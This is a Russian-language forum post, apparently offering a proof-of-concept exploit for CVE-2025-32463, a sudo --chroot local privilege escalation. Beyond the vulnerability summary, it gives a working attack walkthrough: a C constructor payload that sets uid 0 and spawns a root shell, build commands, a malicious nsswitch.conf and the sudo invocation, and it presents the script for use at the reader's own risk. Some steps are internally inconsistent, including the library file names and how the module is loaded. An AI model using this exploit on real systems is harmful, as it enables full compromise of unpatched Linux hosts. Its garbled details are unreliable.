CVE-2025-32463 - локальная эскалация привилегий
Уязвимость типа Local Privilege Escalation (локальная эскалация привилегий) в утилите sudo версий 1.9.14–1.9.17. Позволяет локальному пользователю с низкими привилегиями получить доступ уровня root, манипулируя опцией --chroot (-R) и подменяя конфигурацию NSS (Name Service Switch) в контролируемой chroot-директории.
Это приводит к загрузке вредоносной разделяемой библиотеки, выполняющей произвольный код с привилегиями root. Атака не требует сетевого доступа или взаимодействия пользователя, но предполагает возможность записи в файловую систему (например, в /tmp) и минимальный доступ к sudo.
Сообщество THREAD предупреждает, что перед запуском предоставленного программного обеспечения необходимо проявить особую осторожность. Для защиты рабочих станций от возможного заражения рекомендуется использовать виртуальную машину или песочницу.
Все осуществляется на ваш страх и риск!
Технические детали
- Пораженные версии: sudo v1.9.14–1.9.17 (включая установки в дистрибутивах Linux, таких как Ubuntu, Debian, Red Hat). Версии до 1.9.14 не затронуты (функция --chroot отсутствует), версии 1.9.17p1 и новее исправлены.
 - Платформы: Linux и Unix-подобные системы (Windows-версии sudo не уязвимы).
 - Тип уязвимости: Local Privilege Escalation (CWE-829: Inclusion of Functionality from Untrusted Control Sphere) — некорректная обработка путей в chroot при загрузке конфигурации NSS, что позволяет подменить и загрузить произвольную .so-библиотеку.
 - CVSS v3.1: Предварительно 7.8 (Высокий). Вектор: AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (локальный доступ, низкая сложность, низкие привилегии, без взаимодействия пользователя, высокое влияние на конфиденциальность, целостность и доступность).
 - Точка входа: Использование команды 
sudo --chroot /path/to/controlled/dir <command>, где атакующий создаёт в/path/to/controlled/dir/etc/nsswitch.confконфигурацию, указывающую на вредоносную библиотеку. NSS загружает эту библиотеку во время парсингаsudoers, что выполняется с правами root. 
Влияние
Уязвимость позволяет локальному атакующему с низкими привилегиями эскалировать доступ до root, полностью компрометируя систему.
Механизм основан на ошибке в sudo: при использовании опции --chroot (введённой в 1.9.14) sudo создаёт временное chroot-окружение для выполнения команды, но некорректно обрабатывает пути к системным файлам вроде /etc/nsswitch.conf. Если атакующий контролирует chroot-директорию, он может подменить этот файл, чтобы NSS (механизм разрешения имён в Linux) загрузил произвольную .so-библиотеку, выполняющую код с правами root во время инициализации sudo.
Работа со скриптом
Скрипт создаёт временную директорию, например, /tmp/chroot_exploit, которая будет использоваться как корень для chroot.
CHROOT_DIR="/tmp/chroot_exploit" mkdir -p "$CHROOT_DIR/etc"
Директория полностью контролируется атакующим, так как /tmp обычно доступен для записи любому пользователю.
Генерация вредоносной библиотеки:
Создаётся или копируется разделяемая библиотека (.so), содержащая вредоносный код. Например, библиотека может выполнять system("/bin/sh") для спавна root-шелла.
#include <stdio.h>
#include <stdlib.h>
__attribute__((constructor))
void root_shell() {
    setuid(0); setgid(0);
    system("/bin/sh");
}gcc -shared -fPIC -o malicious.so payload.c cp malicious.so "$CHROOT_DIR/lib64/malicious.so"
Скрипт проверяет наличие компилятора (gcc) или использует готовую библиотеку, если она предоставлена в PoC.
В $CHROOT_DIR/etc/nsswitch.conf создаётся файл, указывающий на кастомный модуль NSS, который загружает вредоносную библиотеку.
Пример содержимого nsswitch.conf:
passwd: malicious files group: malicious files
Здесь malicious — это имя фиктивного NSS-модуля, который заставляет sudo подгрузить библиотеку libmalicious.so из chroot-директории (например, $CHROOT_DIR/lib64/).
echo "passwd: malicious files" > "$CHROOT_DIR/etc/nsswitch.conf" echo "group: malicious files" >> "$CHROOT_DIR/etc/nsswitch.conf"
Запуск sudo с опцией --chroot:
sudo --chroot "$CHROOT_DIR" id
Опция --chroot заставляет sudo работать в контексте указанной директории ($CHROOT_DIR) как корня файловой системы.
Во время парсинга файла sudoers (для проверки привилегий) sudo обращается к NSS для разрешения пользователей/групп, читая подменённый $CHROOT_DIR/etc/nsswitch.conf
NSS загружает модуль malicious, который вызывает dlopen() для libmalicious.so, выполняя её код в контексте процесса sudo (с правами root).
При загрузке libmalicious.so функция-конструктор (в примере root_shell) выполняется автоматически, спавня root-шелл или выполняя другие действия (например, создание нового root-пользователя).
Вывод команды id до и после эксплойта покажет переход от обычного пользователя (например, uid=1000(user)) к uid=0(root).
id # До: uid=1000(user) gid=1000(user) ./exploit.sh id # После: uid=0(root) gid=0(root)
Скрипт также может удалить временные файлы:
rm -rf "$CHROOT_DIR"
Требования для атаки:
- Пользователь должен иметь доступ к sudo (даже для выполнения тривиальных команд, таких как id).
 - Возможность записи в /tmp или другую директорию для создания chroot-структуры.
 - Никакого сетевого доступа или взаимодействия пользователя не требуется, что делает атаку автоматизируемой.